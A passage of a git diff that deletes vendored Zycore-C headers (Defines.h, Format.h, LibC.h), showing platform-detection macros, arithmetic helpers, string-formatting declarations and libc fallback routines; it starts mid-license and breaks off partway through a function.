NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * General helper and platform detection macros. - */ - -#ifndef ZYCORE_DEFINES_H -#define ZYCORE_DEFINES_H - -/* ============================================================================================== */ -/* Meta macros */ -/* ============================================================================================== */ - -/** - * Concatenates two values using the stringify operator (`##`). - * - * @param x The first value. - * @param y The second value. - * - * @return The combined string of the given values. - */ -#define ZYAN_MACRO_CONCAT(x, y) x ## y - -/** - * Concatenates two values using the stringify operator (`##`) and expands the value to - * be used in another macro. - * - * @param x The first value. - * @param y The second value. - * - * @return The combined string of the given values. - */ -#define ZYAN_MACRO_CONCAT_EXPAND(x, y) ZYAN_MACRO_CONCAT(x, y) - -/* ============================================================================================== */ -/* Compiler detection */ -/* ============================================================================================== */ - -#if defined(__clang__) -# define ZYAN_CLANG -# define ZYAN_GNUC -#elif defined(__ICC) || defined(__INTEL_COMPILER) -# define ZYAN_ICC -#elif defined(__GNUC__) || defined(__GNUG__) -# define ZYAN_GCC -# define ZYAN_GNUC -#elif defined(_MSC_VER) -# define ZYAN_MSVC -#elif defined(__BORLANDC__) -# define ZYAN_BORLAND -#else -# define ZYAN_UNKNOWN_COMPILER -#endif - -/* ============================================================================================== */ -/* Platform detection */ -/* ============================================================================================== */ - -#if defined(_WIN32) -# define ZYAN_WINDOWS -#elif defined(__EMSCRIPTEN__) -# define ZYAN_EMSCRIPTEN -#elif defined(__APPLE__) -# define ZYAN_APPLE -# define ZYAN_POSIX -#elif defined(__linux) -# define ZYAN_LINUX -# define ZYAN_POSIX -#elif defined(__FreeBSD__) -# define ZYAN_FREEBSD -# define ZYAN_POSIX -#elif defined(sun) || defined(__sun) -# define ZYAN_SOLARIS -# define ZYAN_POSIX -#elif defined(__unix) -# define ZYAN_UNIX -# define ZYAN_POSIX -#elif defined(__posix) -# define ZYAN_POSIX -#else -# define ZYAN_UNKNOWN_PLATFORM -#endif - -/* ============================================================================================== */ -/* Kernel mode detection */ -/* ============================================================================================== */ - -#if (defined(ZYAN_WINDOWS) && defined(_KERNEL_MODE)) || \ - (defined(ZYAN_APPLE) && defined(KERNEL)) || \ - (defined(ZYAN_LINUX) && defined(__KERNEL__)) || \ - (defined(__FreeBSD_kernel__)) -# define ZYAN_KERNEL -#else -# define ZYAN_USER -#endif - -/* ============================================================================================== */ -/* Architecture detection */ -/* ============================================================================================== */ - -#if defined(_M_AMD64) || defined(__x86_64__) -# define ZYAN_X64 -#elif defined(_M_IX86) || defined(__i386__) -# define ZYAN_X86 -#elif defined(_M_ARM64) || defined(__aarch64__) -# define ZYAN_AARCH64 -#elif defined(_M_ARM) || defined(_M_ARMT) || defined(__arm__) || defined(__thumb__) -# define ZYAN_ARM -#elif defined(__EMSCRIPTEN__) - // Nothing to do, `ZYAN_EMSCRIPTEN` is both platform and arch macro for this one. -#else -# error "Unsupported architecture detected" -#endif - -/* ============================================================================================== */ -/* Debug/Release detection */ -/* ============================================================================================== */ - -#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND) -# ifdef _DEBUG -# define ZYAN_DEBUG -# else -# define ZYAN_RELEASE -# endif -#elif defined(ZYAN_GNUC) || defined(ZYAN_ICC) -# ifdef NDEBUG -# define ZYAN_RELEASE -# else -# define ZYAN_DEBUG -# endif -#else -# define ZYAN_RELEASE -#endif - -/* ============================================================================================== */ -/* Misc compatibility macros */ -/* ============================================================================================== */ - -#if defined(ZYAN_CLANG) -# define ZYAN_NO_SANITIZE(what) __attribute__((no_sanitize(what))) -#else -# define ZYAN_NO_SANITIZE(what) -#endif - -#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND) -# define ZYAN_INLINE __inline -#else -# define ZYAN_INLINE static inline -#endif - -/* ============================================================================================== */ -/* Debugging and optimization macros */ -/* ============================================================================================== */ - -/** - * Runtime debug assertion. - */ -#if defined(ZYAN_NO_LIBC) -# define ZYAN_ASSERT(condition) (void)(condition) -#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL) -# include -# define ZYAN_ASSERT(condition) NT_ASSERT(condition) -#else -# include -# define ZYAN_ASSERT(condition) assert(condition) -#endif - -/** - * Compiler-time assertion. - */ -#if __STDC_VERSION__ >= 201112L && !defined(__cplusplus) -# define ZYAN_STATIC_ASSERT(x) _Static_assert(x, #x) -#elif (defined(__cplusplus) && __cplusplus >= 201103L) || \ - (defined(__cplusplus) && defined (_MSC_VER) && (_MSC_VER >= 1600)) || \ - (defined (_MSC_VER) && (_MSC_VER >= 1800)) -# define ZYAN_STATIC_ASSERT(x) static_assert(x, #x) -#else -# define ZYAN_STATIC_ASSERT(x) \ - typedef int ZYAN_MACRO_CONCAT_EXPAND(ZYAN_SASSERT_, __COUNTER__) [(x) ? 1 : -1] -#endif - -/** - * Marks the current code path as unreachable. - */ -#if defined(ZYAN_RELEASE) -# if defined(ZYAN_CLANG) // GCC eagerly evals && RHS, we have to use nested ifs. -# if __has_builtin(__builtin_unreachable) -# define ZYAN_UNREACHABLE __builtin_unreachable() -# else -# define ZYAN_UNREACHABLE for(;;) -# endif -# elif defined(ZYAN_GCC) && ((__GNUC__ == 4 && __GNUC_MINOR__ > 4) || __GNUC__ > 4) -# define ZYAN_UNREACHABLE __builtin_unreachable() -# elif defined(ZYAN_ICC) -# ifdef ZYAN_WINDOWS -# include // "missing return statement" workaround -# define ZYAN_UNREACHABLE __assume(0); (void)abort() -# else -# define ZYAN_UNREACHABLE __builtin_unreachable() -# endif -# elif defined(ZYAN_MSVC) -# define ZYAN_UNREACHABLE __assume(0) -# else -# define ZYAN_UNREACHABLE for(;;) -# endif -#elif defined(ZYAN_NO_LIBC) -# define ZYAN_UNREACHABLE for(;;) -#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL) -# define ZYAN_UNREACHABLE { __fastfail(0); for(;;){} } -#else -# include -# define ZYAN_UNREACHABLE { assert(0); abort(); } -#endif - -/* ============================================================================================== */ -/* Utils */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General purpose */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Marks the specified parameter as unused. - * - * @param x The name of the unused parameter. - */ -#define ZYAN_UNUSED(x) (void)(x) - -/** - * Intentional fallthrough. - */ -#if defined(ZYAN_GCC) && __GNUC__ >= 7 -# define ZYAN_FALLTHROUGH __attribute__((fallthrough)) -#else -# define ZYAN_FALLTHROUGH -#endif - -/** - * Declares a bitfield. - * - * @param x The size (in bits) of the bitfield. - */ -#define ZYAN_BITFIELD(x) : x - -/** - * Marks functions that require libc (cannot be used with `ZYAN_NO_LIBC`). - */ -#define ZYAN_REQUIRES_LIBC - -/** - * Decorator for `printf`-style functions. - * - * @param format_index The 1-based index of the format string parameter. - * @param first_to_check The 1-based index of the format arguments parameter. - */ -#if defined(__RESHARPER__) -# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \ - [[gnu::format(printf, format_index, first_to_check)]] -#elif defined(ZYAN_GCC) -# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \ - __attribute__((format(printf, format_index, first_to_check))) -#else -# define ZYAN_PRINTF_ATTR(format_index, first_to_check) -#endif - -/** - * Decorator for `wprintf`-style functions. - * - * @param format_index The 1-based index of the format string parameter. - * @param first_to_check The 1-based index of the format arguments parameter. - */ -#if defined(__RESHARPER__) -# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) \ - [[rscpp::format(wprintf, format_index, first_to_check)]] -#else -# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) -#endif - -/* ---------------------------------------------------------------------------------------------- */ -/* Arrays */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the length (number of elements) of an array. - * - * @param a The name of the array. - * - * @return The number of elements of the given array. - */ -#define ZYAN_ARRAY_LENGTH(a) (sizeof(a) / sizeof((a)[0])) - -/* ---------------------------------------------------------------------------------------------- */ -/* Arithmetic */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the smaller value of `a` or `b`. - * - * @param a The first value. - * @param b The second value. - * - * @return The smaller value of `a` or `b`. - */ -#define ZYAN_MIN(a, b) (((a) < (b)) ? (a) : (b)) - -/** - * Returns the bigger value of `a` or `b`. - * - * @param a The first value. - * @param b The second value. - * - * @return The bigger value of `a` or `b`. - */ -#define ZYAN_MAX(a, b) (((a) > (b)) ? (a) : (b)) - -/** - * Returns the absolute value of `a`. - * - * @param a The value. - * - * @return The absolute value of `a`. - */ -#define ZYAN_ABS(a) (((a) < 0) ? -(a) : (a)) - -/** - * Checks, if the given value is a power of 2. - * - * @param x The value. - * - * @return `ZYAN_TRUE`, if the given value is a power of 2 or `ZYAN_FALSE`, if not. - * - * Note that this macro always returns `ZYAN_TRUE` for `x == 0`. - */ -#define ZYAN_IS_POWER_OF_2(x) (((x) & ((x) - 1)) == 0) - -/** - * Checks, if the given value is properly aligned. - * - * Note that this macro only works for powers of 2. - */ -#define ZYAN_IS_ALIGNED_TO(x, align) (((x) & ((align) - 1)) == 0) - -/** - * Aligns the value to the nearest given alignment boundary (by rounding it up). - * - * @param x The value. - * @param align The desired alignment. - * - * @return The aligned value. - * - * Note that this macro only works for powers of 2. - */ -#define ZYAN_ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1)) - -/** - * Aligns the value to the nearest given alignment boundary (by rounding it down). - * - * @param x The value. - * @param align The desired alignment. - * - * @return The aligned value. - * - * Note that this macro only works for powers of 2. - */ -#define ZYAN_ALIGN_DOWN(x, align) (((x) - 1) & ~((align) - 1)) - -/* ---------------------------------------------------------------------------------------------- */ -/* Bit operations */ -/* ---------------------------------------------------------------------------------------------- */ - -/* - * Checks, if the bit at index `b` is required to present the ordinal value `n`. - * - * @param n The ordinal value. - * @param b The bit index. - * - * @return `ZYAN_TRUE`, if the bit at index `b` is required to present the ordinal value `n` or - * `ZYAN_FALSE`, if not. - * - * Note that this macro always returns `ZYAN_FALSE` for `n == 0`. - */ -#define ZYAN_NEEDS_BIT(n, b) (((unsigned long)(n) >> (b)) > 0) - -/* - * Returns the number of bits required to represent the ordinal value `n`. - * - * @param n The ordinal value. - * - * @return The number of bits required to represent the ordinal value `n`. - * - * Note that this macro returns `0` for `n == 0`. - */ -#define ZYAN_BITS_TO_REPRESENT(n) \ - ( \ - ZYAN_NEEDS_BIT(n, 0) + ZYAN_NEEDS_BIT(n, 1) + \ - ZYAN_NEEDS_BIT(n, 2) + ZYAN_NEEDS_BIT(n, 3) + \ - ZYAN_NEEDS_BIT(n, 4) + ZYAN_NEEDS_BIT(n, 5) + \ - ZYAN_NEEDS_BIT(n, 6) + ZYAN_NEEDS_BIT(n, 7) + \ - ZYAN_NEEDS_BIT(n, 8) + ZYAN_NEEDS_BIT(n, 9) + \ - ZYAN_NEEDS_BIT(n, 10) + ZYAN_NEEDS_BIT(n, 11) + \ - ZYAN_NEEDS_BIT(n, 12) + ZYAN_NEEDS_BIT(n, 13) + \ - ZYAN_NEEDS_BIT(n, 14) + ZYAN_NEEDS_BIT(n, 15) + \ - ZYAN_NEEDS_BIT(n, 16) + ZYAN_NEEDS_BIT(n, 17) + \ - ZYAN_NEEDS_BIT(n, 18) + ZYAN_NEEDS_BIT(n, 19) + \ - ZYAN_NEEDS_BIT(n, 20) + ZYAN_NEEDS_BIT(n, 21) + \ - ZYAN_NEEDS_BIT(n, 22) + ZYAN_NEEDS_BIT(n, 23) + \ - ZYAN_NEEDS_BIT(n, 24) + ZYAN_NEEDS_BIT(n, 25) + \ - ZYAN_NEEDS_BIT(n, 26) + ZYAN_NEEDS_BIT(n, 27) + \ - ZYAN_NEEDS_BIT(n, 28) + ZYAN_NEEDS_BIT(n, 29) + \ - ZYAN_NEEDS_BIT(n, 30) + ZYAN_NEEDS_BIT(n, 31) \ - ) - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#endif /* ZYCORE_DEFINES_H */ diff --git a/src/Theodosius/Zycore/Format.h b/src/Theodosius/Zycore/Format.h deleted file mode 100644 index b0401e6..0000000 --- a/src/Theodosius/Zycore/Format.h +++ /dev/null @@ -1,286 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Provides helper functions for performant number to string conversion. - */ - -#ifndef ZYCORE_FORMAT_H -#define ZYCORE_FORMAT_H - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Helpers */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Get the absolute value of a 64 bit int. - * - * @param x The value to process. - * @return The absolute, unsigned value. - * - * This gracefully deals with the special case of `x` being `INT_MAX`. - */ -ZYAN_INLINE ZyanU64 ZyanAbsI64(ZyanI64 x) -{ - // INT_MIN special case. Can't use the value directly because GCC thinks - // it's too big for an INT64 literal, however is perfectly happy to accept - // this expression. This is also hit INT64_MIN is defined in `stdint.h`. - if (x == (-0x7fffffffffffffff - 1)) - { - return 0x8000000000000000u; - } - - return (ZyanU64)(x < 0 ? -x : x); -} - -/* ---------------------------------------------------------------------------------------------- */ -/* Insertion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Inserts formatted text in the destination string at the given `index`. - * - * @param string The destination string. - * @param index The insert index. - * @param format The format string. - * @param ... The format arguments. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYAN_PRINTF_ATTR(3, 4) -ZYCORE_EXPORT ZyanStatus ZyanStringInsertFormat(ZyanString* string, ZyanUSize index, - const char* format, ...); - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Formats the given unsigned ordinal `value` to its decimal text-representation and - * inserts it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The insert index. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecU(ZyanString* string, ZyanUSize index, ZyanU64 value, - ZyanU8 padding_length); - -/** - * Formats the given signed ordinal `value` to its decimal text-representation and - * inserts it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The insert index. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecS(ZyanString* string, ZyanUSize index, ZyanI64 value, - ZyanU8 padding_length, ZyanBool force_sign, const ZyanString* prefix); - -/** - * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and - * inserts it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The insert index. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase - * ones ('a'-'f'). - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexU(ZyanString* string, ZyanUSize index, ZyanU64 value, - ZyanU8 padding_length, ZyanBool uppercase); - -/** - * Formats the given signed ordinal `value` to its hexadecimal text-representation and - * inserts it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The insert index. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase - * ones ('a'-'f'). - * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexS(ZyanString* string, ZyanUSize index, ZyanI64 value, - ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanString* prefix); - -/* ---------------------------------------------------------------------------------------------- */ -/* Appending */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Appends formatted text to the destination string. - * - * @param string The destination string. - * @param format The format string. - * @param ... The format arguments. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYAN_PRINTF_ATTR(2, 3) -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringAppendFormat( - ZyanString* string, const char* format, ...); - -#endif // ZYAN_NO_LIBC - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Formats the given unsigned ordinal `value` to its decimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecU(ZyanString* string, ZyanU64 value, - ZyanU8 padding_length); - -/** - * Formats the given signed ordinal `value` to its decimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecS(ZyanString* string, ZyanI64 value, - ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix); - -/** - * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase - * ones ('a'-'f'). - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexU(ZyanString* string, ZyanU64 value, - ZyanU8 padding_length, ZyanBool uppercase); - -/** - * Formats the given signed ordinal `value` to its hexadecimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase - * ones ('a'-'f'). - * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexS(ZyanString* string, ZyanI64 value, - ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif // ZYCORE_FORMAT_H diff --git a/src/Theodosius/Zycore/LibC.h b/src/Theodosius/Zycore/LibC.h deleted file mode 100644 index cb0b2f3..0000000 --- a/src/Theodosius/Zycore/LibC.h +++ /dev/null @@ -1,511 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Provides a simple LibC abstraction and fallback routines. - */ - -#ifndef ZYCORE_LIBC_H -#define ZYCORE_LIBC_H - -#ifndef ZYAN_CUSTOM_LIBC - -// Include a custom LibC header and define `ZYAN_CUSTOM_LIBC` to provide your own LibC -// replacement functions - -#ifndef ZYAN_NO_LIBC - -/* ============================================================================================== */ -/* LibC is available */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* errno.h */ -/* ---------------------------------------------------------------------------------------------- */ - -#include - -#define ZYAN_ERRNO errno - -/* ---------------------------------------------------------------------------------------------- */ -/* stdarg.h */ -/* ---------------------------------------------------------------------------------------------- */ - -#include - -/** - * Defines the `ZyanVAList` datatype. - */ -typedef va_list ZyanVAList; - -#define ZYAN_VA_START va_start -#define ZYAN_VA_ARG va_arg -#define ZYAN_VA_END va_end -#define ZYAN_VA_COPY(dest, source) va_copy((dest), (source)) - -/* ---------------------------------------------------------------------------------------------- */ -/* stdio.h */ -/* ---------------------------------------------------------------------------------------------- */ - -#include - -#define ZYAN_FPUTS fputs -#define ZYAN_FPUTC fputc -#define ZYAN_FPRINTF fprintf -#define ZYAN_PRINTF printf -#define ZYAN_PUTC putc -#define ZYAN_PUTS puts -#define ZYAN_SCANF scanf -#define ZYAN_SSCANF sscanf -#define ZYAN_VSNPRINTF vsnprintf - -/** - * Defines the `ZyanFile` datatype. - */ -typedef FILE ZyanFile; - -#define ZYAN_STDIN stdin -#define ZYAN_STDOUT stdout -#define ZYAN_STDERR stderr - -/* ---------------------------------------------------------------------------------------------- */ -/* stdlib.h */ -/* ---------------------------------------------------------------------------------------------- */ - -#include -#define ZYAN_CALLOC calloc -#define ZYAN_FREE free -#define ZYAN_MALLOC malloc -#define ZYAN_REALLOC realloc - -/* ---------------------------------------------------------------------------------------------- */ -/* string.h */ -/* ---------------------------------------------------------------------------------------------- */ - -#include -#define ZYAN_MEMCHR memchr -#define ZYAN_MEMCMP memcmp -#define ZYAN_MEMCPY memcpy -#define ZYAN_MEMMOVE memmove -#define ZYAN_MEMSET memset -#define ZYAN_STRCAT strcat -#define ZYAN_STRCHR strchr -#define ZYAN_STRCMP strcmp -#define ZYAN_STRCOLL strcoll -#define ZYAN_STRCPY strcpy -#define ZYAN_STRCSPN strcspn -#define ZYAN_STRLEN strlen -#define ZYAN_STRNCAT strncat -#define ZYAN_STRNCMP strncmp -#define ZYAN_STRNCPY strncpy -#define ZYAN_STRPBRK strpbrk -#define ZYAN_STRRCHR strrchr -#define ZYAN_STRSPN strspn -#define ZYAN_STRSTR strstr -#define ZYAN_STRTOK strtok -#define ZYAN_STRXFRM strxfrm - -/* ---------------------------------------------------------------------------------------------- */ - -#else // if ZYAN_NO_LIBC - -/* ============================================================================================== */ -/* No LibC available, use our own functions */ -/* ============================================================================================== */ - -#include -#include - -/* - * These implementations are by no means optimized and will be outperformed by pretty much any - * libc implementation out there. We do not aim towards providing competetive implementations here, - * but towards providing a last resort fallback for environments without a working libc. - */ - -/* ---------------------------------------------------------------------------------------------- */ -/* stdarg.h */ -/* ---------------------------------------------------------------------------------------------- */ - -#if defined(ZYAN_MSVC) || defined(ZYAN_ICC) - -/** - * Defines the `ZyanVAList` datatype. - */ -typedef char* ZyanVAList; - -# define ZYAN_VA_START __crt_va_start -# define ZYAN_VA_ARG __crt_va_arg -# define ZYAN_VA_END __crt_va_end -# define ZYAN_VA_COPY(destination, source) ((destination) = (source)) - -#elif defined(ZYAN_GNUC) - -/** - * Defines the `ZyanVAList` datatype. - */ -typedef __builtin_va_list ZyanVAList; - -# define ZYAN_VA_START(v, l) __builtin_va_start(v, l) -# define ZYAN_VA_END(v) __builtin_va_end(v) -# define ZYAN_VA_ARG(v, l) __builtin_va_arg(v, l) -# define ZYAN_VA_COPY(d, s) __builtin_va_copy(d, s) - -#else -# error "Unsupported compiler for no-libc mode." -#endif - -/* ---------------------------------------------------------------------------------------------- */ -/* stdio.h */ -/* ---------------------------------------------------------------------------------------------- */ - -// ZYAN_INLINE int ZYAN_VSNPRINTF (char* const buffer, ZyanUSize const count, -// char const* const format, ZyanVAList args) -// { -// // We cant provide a fallback implementation for this function -// ZYAN_UNUSED(buffer); -// ZYAN_UNUSED(count); -// ZYAN_UNUSED(format); -// ZYAN_UNUSED(args); -// return ZYAN_NULL; -// } - -/* ---------------------------------------------------------------------------------------------- */ -/* stdlib.h */ -/* ---------------------------------------------------------------------------------------------- */ - -// ZYAN_INLINE void* ZYAN_CALLOC(ZyanUSize nitems, ZyanUSize size) -// { -// // We cant provide a fallback implementation for this function -// ZYAN_UNUSED(nitems); -// ZYAN_UNUSED(size); -// return ZYAN_NULL; -// } -// -// ZYAN_INLINE void ZYAN_FREE(void *p) -// { -// // We cant provide a fallback implementation for this function -// ZYAN_UNUSED(p); -// } -// -// ZYAN_INLINE void* ZYAN_MALLOC(ZyanUSize n) -// { -// // We cant provide a fallback implementation for this function -// ZYAN_UNUSED(n); -// return ZYAN_NULL; -// } -// -// ZYAN_INLINE void* ZYAN_REALLOC(void* p, ZyanUSize n) -// { -// // We cant provide a fallback implementation for this function -// ZYAN_UNUSED(p); -// ZYAN_UNUSED(n); -// return ZYAN_NULL; -// } - -/* ---------------------------------------------------------------------------------------------- */ -/* string.h */ -/* ---------------------------------------------------------------------------------------------- */ - -ZYAN_INLINE void* ZYAN_MEMCHR(const void* str, int c, ZyanUSize n) -{ - const ZyanU8* p = (ZyanU8*)str; - while (n--) - { - if (*p != (ZyanU8)c) - { - p++; - } else - { - return (void*)p; - } - } - return 0; -} - -ZYAN_INLINE int ZYAN_MEMCMP(const void* s1, const void* s2, ZyanUSize n) -{ - const ZyanU8* p1 = s1, *p2 = s2; - while (n--) - { - if (*p1 != *p2) - { - return *p1 - *p2; - } - p1++, p2++; - } - return 0; -} - -ZYAN_INLINE void* ZYAN_MEMCPY(void* dst, const void* src, ZyanUSize n) -{ - volatile ZyanU8* dp = dst; - const ZyanU8* sp = src; - while (n--) - { - *dp++ = *sp++; - } - return dst; -} - -ZYAN_INLINE void* ZYAN_MEMMOVE(void* dst, const void* src, ZyanUSize n) -{ - volatile ZyanU8* pd = dst; - const ZyanU8* ps = src; - if (ps < pd) - { - for (pd += n, ps += n; n--;) - { - *--pd = *--ps; - } - } else - { - while (n--) - { - *pd++ = *ps++; - } - } - return dst; -} - -ZYAN_INLINE void* ZYAN_MEMSET(void* dst, int val, ZyanUSize n) -{ - volatile ZyanU8* p = dst; - while (n--) - { - *p++ = (unsigned char)val; - } - return dst; -} - -ZYAN_INLINE char* ZYAN_STRCAT(char* dest, const char* src) -{ - char* ret = dest; - while (*dest) - { - dest++; - } - while ((*dest++ = *src++)); - return ret; -} - -ZYAN_INLINE char* ZYAN_STRCHR(const char* s, int c) -{ - while (*s != (char)c) - { - if (!*s++) - { - return 0; - } - } - return (char*)s; -} - -ZYAN_INLINE int ZYAN_STRCMP(const char* s1, const char* s2) -{ - while (*s1 && (*s1 == *s2)) - { - s1++, s2++; - } - return *(const ZyanU8*)s1 - *(const ZyanU8*)s2; -} - -ZYAN_INLINE int ZYAN_STRCOLL(const char 